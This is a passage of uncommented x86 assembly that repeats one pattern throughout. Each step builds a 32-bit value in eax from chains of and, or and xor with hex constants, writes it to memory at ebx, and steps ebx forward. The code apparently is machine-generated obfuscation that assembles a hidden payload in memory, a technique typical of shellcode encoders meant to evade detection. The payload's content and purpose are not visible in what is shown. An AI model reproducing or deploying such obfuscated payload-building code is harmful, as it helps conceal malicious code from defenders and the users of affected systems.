add ebx, ecx
xor eax, 0x46467da7
xor eax, 0x76b7ec8c
and eax, 0x14a09284
or eax, 0x136101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c861331
or eax, 0x29e0a1a7
and eax, 0x4864a084
or eax, 0x94021448
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bf7a25f
and eax, 0x11910411
or eax, 0x482ca804
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38c11484
and eax, 0x2cb77bbb
and eax, 0xa00801
or eax, 0x4048c520
mov dword [ebx], eax
add ebx, ecx
and eax, 0x188a403d
and eax, 0x84021
or eax, 0x460005d8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bece221
and eax, 0x4000
or eax, 0x882595c2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d070469
xor eax, 0x3300cbe7
and eax, 0xe4051c0c
or eax, 0xc001e1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x791b010b
and eax, 0x908a0cc2
or eax, 0x42202309
mov dword [ebx], eax
add ebx, ecx
and eax, 0x573563e4
and eax, 0x50002300
or eax, 0x8c820013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3365082d
and eax, 0
or eax, 0x6661f14
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3da85e1
and eax, 0x2020400
or eax, 0xf921f2f6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e89945c
and eax, 0xb7010626
or eax, 0x440001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1fa8b96b
xor eax, 0x4568ed35
and eax, 0x5060ad14
or eax, 0x8d1410e1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26addec2
xor eax, 0x2ec7b48b
and eax, 0x11004b00
or eax, 0x28400083
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bd0069
xor eax, 0x53200d0b
and eax, 0x6c5d0461
or eax, 0x80008110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57e5a860
and eax, 0xa3b02410
or eax, 0x400cc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3df0c62f
and eax, 0x33d00251
or eax, 0x31100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26b7e086
xor eax, 0x3b5c7a82
and eax, 0x4208801
or eax, 0x1c14602
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16e35e2b
and eax, 0x10201c00
or eax, 0xc8042080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x204c44cd
and eax, 0x68282048
or eax, 0x1908000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1909c34
and eax, 0x60002820
or eax, 0x92d38281
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2632346a
and eax, 0x62c39e62
or eax, 0x44100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c93a932
and eax, 0x5fada7f5
and eax, 0x4002040
or eax, 0x306a5029
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79026cef
and eax, 0x4c080084
or eax, 0x20804170
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ee5c513
and eax, 0x2c004000
or eax, 0x90741600
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b42053f
or eax, 0x17fa09a4
and eax, 0x84b0199c
or eax, 0x40010040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d6dc0b3
and eax, 0x39549860
or eax, 0x4200080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15a78593
xor eax, 0x13077aad
and eax, 0x2a30a142
or eax, 0x1030001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44b0e88b
xor eax, 0x12780c2a
and eax, 0x65008521
or eax, 0x241814
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78bc5038
and eax, 0x4808511c
or eax, 0x120c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x357231
and eax, 0x140265
or eax, 0x3c35010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38da83ab
and eax, 0x390191d4
or eax, 0x84a22421
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21ce6c2c
and eax, 0x21800404
or eax, 0xc6359149
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60c67bac
xor eax, 0x3cf7f0c1
and eax, 0xc20e1c0
or eax, 0xa1041c12
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37d9fc97
and eax, 0x7fddd672
and eax, 0x500c400
or eax, 0x82112184
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73f5eeaa
and eax, 0x56b5b13b
and eax, 0x2008000
or eax, 0x90e6162f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72f2b663
and eax, 0xbc0cc9b
and eax, 0x200800a
or eax, 0x483e38e4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e959fcb
and eax, 0x79d3d579
and eax, 0x48009008
or eax, 0xb7e30237
mov dword [ebx], eax
add ebx, ecx
or eax, 0x118b9090
or eax, 0x14e7d3d8
and eax, 0xc5e5d30f
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1eda8941
xor eax, 0x34550c41
and eax, 0x2aa920a
or eax, 0x440c10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43feda2c
or eax, 0x23deb6a3
and eax, 0x37aba3a
or eax, 0x140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46e83632
and eax, 0x3437c671
and eax, 0x100000
or eax, 0x11ed38ba
mov dword [ebx], eax
add ebx, ecx
and eax, 0x701993a4
and eax, 0x111020
or eax, 0x25c4a554
mov dword [ebx], eax
add ebx, ecx
or eax, 0x39bc7ed
xor eax, 0x1239bb18
and eax, 0x31220481
or eax, 0x210a008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ceaf606
and eax, 0x35e20282
or eax, 0x80050870
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4dfab019
and eax, 0x300d1aab
or eax, 0x5020004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51cc16fc
xor eax, 0x7fea56c0
and eax, 0x3015201
or eax, 0xe0920464
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fb204d4
or eax, 0x726fb95d
and eax, 0xb9136404
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d38f318
and eax, 0x20104000
or eax, 0xac8825
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19d3eec6
and eax, 0x597afa9e
and eax, 4
or eax, 0xfea93613
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2abcc883
and eax, 0xd010ec94
or eax, 0x20e00009
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2db452fc
xor eax, 0x77f5130f
and eax, 0xa11ad24
or eax, 0x50461001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x517e5d4a
or eax, 0x14ecaade
and eax, 0x40921a02
or eax, 0xb014021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b39cff2
xor eax, 0x1f1b30c6
and eax, 0x1b910517
or eax, 0xc0024a80
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73af7bd5
and eax, 0x20bf0d12
or eax, 0x4408000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1396dc92
or eax, 0x4a474816
and eax, 0x4053c414
or eax, 0x14201081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47fd8179
and eax, 0x642c7006
and eax, 0x240000
or eax, 0x91412dc1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ab4275e
or eax, 0x61c448bf
and eax, 0x6144459b
or eax, 0x2028000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x570d543
and eax, 0x1000502
or eax, 0x583a0a5c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dbfce68
or eax, 0x339f92dd
and eax, 0x178c002e
or eax, 0x8600800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77ff22ef
xor eax, 0x4eca5d57
and eax, 0x10111328
or eax, 0xac28847
mov dword [ebx], eax
add ebx, ecx
and eax, 0x590ae5e1
or eax, 0x1a84821f
and eax, 0x1a80826e
or eax, 0x717000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4247c68c
or eax, 0x634ee0be
and eax, 0x3a02761c
or eax, 0x4000100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79b3f73c
and eax, 0x100000
or eax, 0x204227d3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x560e6d8a
and eax, 0x56560fc1
or eax, 0x81811004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f28cf3c
and eax, 0xcc7d96d8
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x353a30f8
and eax, 0x8468000
or eax, 0x2a85809
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2296416a
and eax, 0x824008
or eax, 0xd8018232
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14abc340
and eax, 0x8010368
or eax, 0x3541c05
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60eda00b
and eax, 0x40001
or eax, 0x1c289d44
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x455776bc
and eax, 0x83809d1
or eax, 0x24800000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75188230
or eax, 0x66e7e383
and eax, 0x61d18210
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6de2f047
or eax, 0x3751a87d
and eax, 0x3731d819
or eax, 0x40080100
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe2fefb1
or eax, 0x6a53d7bf
and eax, 0x1408b090
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3834e2d9
and eax, 0x10008090
or eax, 0x5971367
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7416bb78
or eax, 0x4385d2c6
and eax, 0x6180b089
or eax, 0x98120520
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c2e768
and eax, 0x2a90e985
and eax, 0x802100
or eax, 0x521950e1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x221e089e
and eax, 0x101901fb
or eax, 0x8408200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32706da2
and eax, 0x4b7feb6
and eax, 0x20ac00
or eax, 0x58841009
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa0520f7
and eax, 0x73fa4711
and eax, 0
or eax, 0xb77e602a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fcc9f34
and eax, 0x6000020
or eax, 0x78829a07
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4df82590
and eax, 0x3206a6
or eax, 0x4010048
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe1e6b
or eax, 0x57c258be
and eax, 0x4c04496
or eax, 0x81d8100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4511ce37
and eax, 0x69098d1d
and eax, 0x8014
or eax, 0x9c846283
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c2c6762
and eax, 0x14046200
or eax, 0x4292800c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5129423
or eax, 0x6304727d
and eax, 0x6084103d
or eax, 0x8c390880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c50d1e1
and eax, 0x50210958
or eax, 0xc100401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x115bdf20
and eax, 0x110c00
or eax, 0x2e8a521f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3509207
or eax, 0x3ecb5190
and eax, 0x2c498d08
or eax, 0x80002002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59eee641
or eax, 0x1f1f319b
and eax, 0xb4311190
or eax, 0x400024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x304ee88e
and eax, 0x400084
or eax, 0x8b020928
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68c5b1a6
and eax, 0xaa0399a2
or eax, 0x4184200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe53db80
or eax, 0x495ff8c
and eax, 0x5ce206
or eax, 0x5a220000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x746313b1
and eax, 0x6cfd8332
and eax, 0x150130
or eax, 0x2e2504d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2bdd0096
and eax, 0x500010
or eax, 0xf52a780b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x269be6f8
and eax, 0x24022000
or eax, 0x90e51fa1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2abef462
and eax, 0x107b3840
or eax, 0x41000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3831c6a5
and eax, 0x4142aee0
or eax, 0x16200102
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ee32ee8
xor eax, 0x3d85de3b
and eax, 0x40000210
or eax, 0xabc180c2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30e822f0
and eax, 0x20c00050
or eax, 0xdc091408
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44e198b
and eax, 0x48031949
or eax, 0x2302220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9df48aa
or eax, 0x5cedb81b
and eax, 0x82a800a
or eax, 0x83004084
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38e64393
and eax, 0xb1000293
or eax, 0x44113060
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5667837a
and eax, 0x4000260
or eax, 0x83261484
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47b0a124
xor eax, 0x1a8a7072
and eax, 0x8881046
or eax, 0x1007a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6aa4b8fe
and eax, 0xef3c2db
and eax, 0x2008209
or eax, 0x50870546
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2696fb07
and eax, 0x5616560a
or eax, 0x81080080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18b88bdf
and eax, 0x47260a8e
or eax, 0x402020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ea2ffd3
or eax, 0x27eb8497
and eax, 0x2642a6ee
or eax, 0x90100000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24021a32
xor eax, 0x25c5e4f9
and eax, 0x1454483
or eax, 0x84181124
mov dword [ebx], eax
add ebx, ecx
and eax, 0x355ec108
xor eax, 0x3514f977
and eax, 0x20480034
or eax, 0x4cb40400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c880720
and eax, 0xc00320
or eax, 0xe00b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59fc1d87
and eax, 0x2c4ff4b5
and eax, 0
or eax, 0x5f1dd0e0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64f98a1e
and eax, 0x44090000
or eax, 0xb3e66041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x558fa8c7
and eax, 0x27d29eb1
and eax, 0x1020001
or eax, 0x7a719b0a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6810e23b
and eax, 0x73b65fc5
and eax, 0x20100200
or eax, 0x82aa8402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4af2a11b
or eax, 0x4899dc2b
and eax, 0x6858e333
or eax, 0x15060040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66253
and eax, 0x20011
or eax, 0x62788888
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d824bf2
and eax, 0xfb203c3
or eax, 0x90000404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58ba91c0
and eax, 0x8800007
or eax, 0x20004808
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7953d8e5
xor eax, 0xbd75b09
and eax, 0x2341000c
or eax, 0xd828acc0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59633b2b
and eax, 0x5017a949
and eax, 0x40008808
or eax, 0x858042b0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13d5faed
and eax, 0xc4410005
or eax, 0x1288128
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4849a9eb
and eax, 0x54d517f3
and eax, 0x40010100
or eax, 0xa01276ce
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30fa6838
and eax, 0x552a68ac
and eax, 0x284080
or eax, 0x4800010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16e13bec
xor eax, 0x7d958eba
and eax, 0x68318c18
or eax, 0x82c270c4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68ea8e49
xor eax, 0x58d12c00
and eax, 0x92480210
or eax, 0x32a06a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f139f98
and eax, 0x6d291d22
or eax, 0x4421c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b2d0bb7
and eax, 0x120c0f33
or eax, 0x80822000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d0834a3
and eax, 0xb9801110
or eax, 0x4058e023
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ea47165
or eax, 0x2f8c2bb6
and eax, 0x638cf3c6
or eax, 0x30400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ee0b771
or eax, 0x207b018
and eax, 0x56243011
or eax, 0x80000340
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b256e02
and eax, 0x80014d12
or eax, 0x103c8024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11f2ea44
or eax, 0x608f5b35
and eax, 0x1912d40
or eax, 8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x739a71b9
and eax, 0x2db1b649
and eax, 0x400
or eax, 0x5d9ce016
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55d8a176
and eax, 0x6c9144e7
and eax, 0x8004460
or eax, 0x54ac880d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15726ae8
and eax, 0x10204068
or eax, 0x23961215
mov dword [ebx], eax
add ebx, ecx
and eax, 0x292769fb
and eax, 0x20264031
or eax, 0xc218a602
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78b01e74
and eax, 0x60000620
or eax, 0x160f2886
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70e5952b
and eax, 0x4c001398
and eax, 0
or eax, 0x995ef73e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c049ea7
xor eax, 0x5420bb8f
and eax, 0x228000
or eax, 0x428401a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1bfcb423
and eax, 0x11023402
or eax, 0x8624ca08
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3875f6cc
and eax, 0x10045600
or eax, 0x431909a7
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17a12a9
and eax, 0x68727c60
and eax, 0x420000
or eax, 0xb210929b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x795701a6
or eax, 0x19c3810d
and eax, 0x43c30300
or eax, 0x104c82
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72b53f09
and eax, 0x42100200
or eax, 0x842a2050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9db5b19
and eax, 0x20210
or eax, 0x77a4bc46
mov dword [ebx], eax
add ebx, ecx
and eax, 0x723621fd
or eax, 0x5a72dae9
and eax, 0x10147054
or eax, 0x1810102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d828077
and eax, 0x4ad42080
and eax, 0x42000
or eax, 0x81201c81
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a12b028
and eax, 0x1000
or eax, 0xb1c101d9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39c1790e
and eax, 0x236763cf
and eax, 0x4004
or eax, 0xe298d00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ad45a06
and eax, 0x4758302
or eax, 0x90200a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7980b305
or eax, 0x2937cdf3
and eax, 0x6910330c
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36d71ee3
and eax, 0x100000
or eax, 0x48282068
mov dword [ebx], eax
add ebx, ecx
or eax, 0x306da85b
or eax, 0x7875274a
and eax, 0x382d8d58
or eax, 0x5825084
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d4db4e3
and eax, 0x10e20032
or eax, 0x8f0c82c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x778505
xor eax, 0x2837b44f
and eax, 0x8010443
or eax, 0x42e4130
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdf64940
and eax, 0x110411
or eax, 0x10069108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b92b398
and eax, 0x4301a111
or eax, 0x4004862
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42db6678
xor eax, 0x5c0149f2
and eax, 0x1d28609
or eax, 0xa4250150
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60fc777d
xor eax, 0x61c9b957
and eax, 0x64422
or eax, 0x220920d1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14847cc5
and eax, 0x240b0816
or eax, 0xc074c140
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44100f40
and eax, 0x246a0c14
or eax, 0x128010a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5cc7beb8
xor eax, 0x7bceb1e2
and eax, 0x521011e
or eax, 0xba4c7001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d84584c
and eax, 0x12043
or eax, 0xc14c088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49c1fdf5
and eax, 0x4995cd63
or eax, 0x80280200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x602859a1
or eax, 0x1e6f089f
and eax, 0xbb43908d
or eax, 0x40000100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4687537b
and eax, 0x42000108
or eax, 0x84c0080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9010c26
and eax, 0x9490584
or eax, 0x902200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52b3d8b2
and eax, 0x1b219292
or eax, 0x84040001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b784225
and eax, 0xe06c1212
or eax, 0x802908
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7bc68aa4
xor eax, 0x7531b05a
and eax, 0x4090160
or eax, 0x70002009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5cb93aab
and eax, 0x5912219e
and eax, 0x40000008
or eax, 0x4094db4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1dda0530
or eax, 0x3dc51579
and eax, 0x50925565
or eax, 0x2288000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c4cf3d1
or eax, 0x26606818
and eax, 0x4aca3e6d
or eax, 2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ba0cde
and eax, 0x43c22290
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a589c40
and eax, 0x4937ad6d
and eax, 0x1020440
or eax, 0xa621032d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a95d9dd
and eax, 0x201010d
or eax, 0x111e3092
mov dword [ebx], eax
add ebx, ecx
and eax, 0x199c9e63
and eax, 0x7cef0a28
and eax, 0x80000
or eax, 0xacf3284c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14891e70
and eax, 0x4a27850f
and eax, 0
or eax, 0x2842264c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73c0f61
and eax, 0x63bceb1d
and eax, 0x23340208
or eax, 0x88424410
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb4e8f27
and eax, 0x23284502
or eax, 0x50003080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45b2901b
and eax, 0x5b1a4b0e
and eax, 0x13124108
or eax, 0x82122f5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ddef5c
and eax, 0x92800a1
or eax, 0x11105e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c215d17
xor eax, 0x172defa7
and eax, 0x6047430
or eax, 0xa0100002
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb4a678
and eax, 0x220a25a
or eax, 0x1400880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64620f73
and eax, 0x4462aef3
or eax, 0x80115000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9ffd13f
and eax, 0xd0c0880
or eax, 0x10518022
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56daa49d
or eax, 0x55bef47c
and eax, 0x4476000b
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6359e81
or eax, 0x255cebd0
and eax, 0x635fe35a
or eax, 0x90a00021
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44896374
and eax, 0x96100
or eax, 0x222048c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6269f789
and eax, 0x40009000
or eax, 0x113140da
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52809f40
and eax, 0x1210f02
or eax, 0x8020001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x765e8783
or eax, 0x1f685dfd
and eax, 0x5375d725
or eax, 0x80800000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1085e547
xor eax, 0x566d0d00
and eax, 0x100a800
or eax, 0x72020480
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe5dcb73
and eax, 0x6a6f6c10
and eax, 0x2000000
or eax, 0xccf572fb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x692c0956
xor eax, 0x5f8a5623
and eax, 0x48412502
or eax, 0x6840241
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62d97883
xor eax, 0x56248f36
and eax, 0x248135
or eax, 0x4108404a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b65c9ea
and eax, 0x17c53bc7
and eax, 0x410804
or eax, 0x4838062a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f22cb96
and eax, 0xe946e55
and eax, 0x204
or eax, 0x81a12031
mov dword [ebx], eax
add ebx, ecx
or eax, 0x730b6e35
and eax, 0x73236630
or eax, 0x41481c8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x168da3b0
and eax, 0x2018390
or eax, 0x81d00c0b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x794be641
and eax, 0x1018001
or eax, 0x2c244104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24676146
or eax, 0x1c57c602
and eax, 0x8400200
or eax, 0x40003039
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4494e191
xor eax, 0x4443a613
and eax, 0x8600
or eax, 0xd82c19c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d092c39
and eax, 0xc42c3849
or eax, 0x20800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ce805e8
and eax, 0x60280008
or eax, 0x19052020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c75face
and eax, 0x66a00f32
and eax, 0x60000a22
or eax, 0x11939040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4337dbaf
xor eax, 0x63e979ce
and eax, 0x50001800
or eax, 0x6004308
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c18b63c
and eax, 0x3c361667
and eax, 0x18000220
or eax, 0x816a4050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1acd1c4d
and eax, 0x186a0828
or eax, 0x410a100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41ac9515
xor eax, 0x6f3cd978
and eax, 0x20000401
or eax, 0xc13c08a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ade8577
and eax, 0x20180401
or eax, 0xc0093c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5550032a
and eax, 0x79b8484
and eax, 0x1000080
or eax, 0xd0c0783d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2686ff44
and eax, 0xa0440660
or eax, 0x817800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ef264e5
or eax, 0x7215ba35
and eax, 0x62367c00
or eax, 0x80100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4565c9e5
or eax, 0x57f3f6e8
and eax, 0x116346c8
or eax, 0x8000812
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1fb6c08e
or eax, 0x3687f27a
and eax, 0x16933452
or eax, 0x41080101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x220f18ae
and eax, 0x6796357a
or eax, 0x8020c200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63de07e5
and eax, 0x21b692c4
and eax, 0x209084
or eax, 0xf7d32d38
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fb2ec18
and eax, 0x69102396
and eax, 0x9000090
or eax, 0x4c08c68
mov dword [ebx], eax
add ebx, ecx
and eax, 0x221b6e0a
and eax, 0x800
or eax, 0x4854b0f0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7002ca2c
or eax, 0x1ae4b851
and eax, 0x5840a810
or eax, 0x4004582
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5bfe81b6
and eax, 0x54cce0a0
or eax, 0xa0000041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49545e7d
or eax, 0x578afdda
and eax, 0x6e960ff3
or eax, 0x210000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73f88f18
xor eax, 0x72dc1b76
and eax, 0x2c0002
or eax, 0xa5932201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ed11f70
xor eax, 0x37a2870d
and eax, 0x2118100
or eax, 0xec4468d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62043f88
xor eax, 0x154adb8a
and eax, 0xb30c2002
or eax, 0x60830c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5cef50bf
or eax, 0x7d7a8b67
and eax, 0x7f9be3ca
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25f2c11c
and eax, 0x1c40c1d2
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb17c0c8
and eax, 0x40c0
or eax, 0x52171b16
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45bbec90
and eax, 0x13be5ac6
or eax, 0x20000009
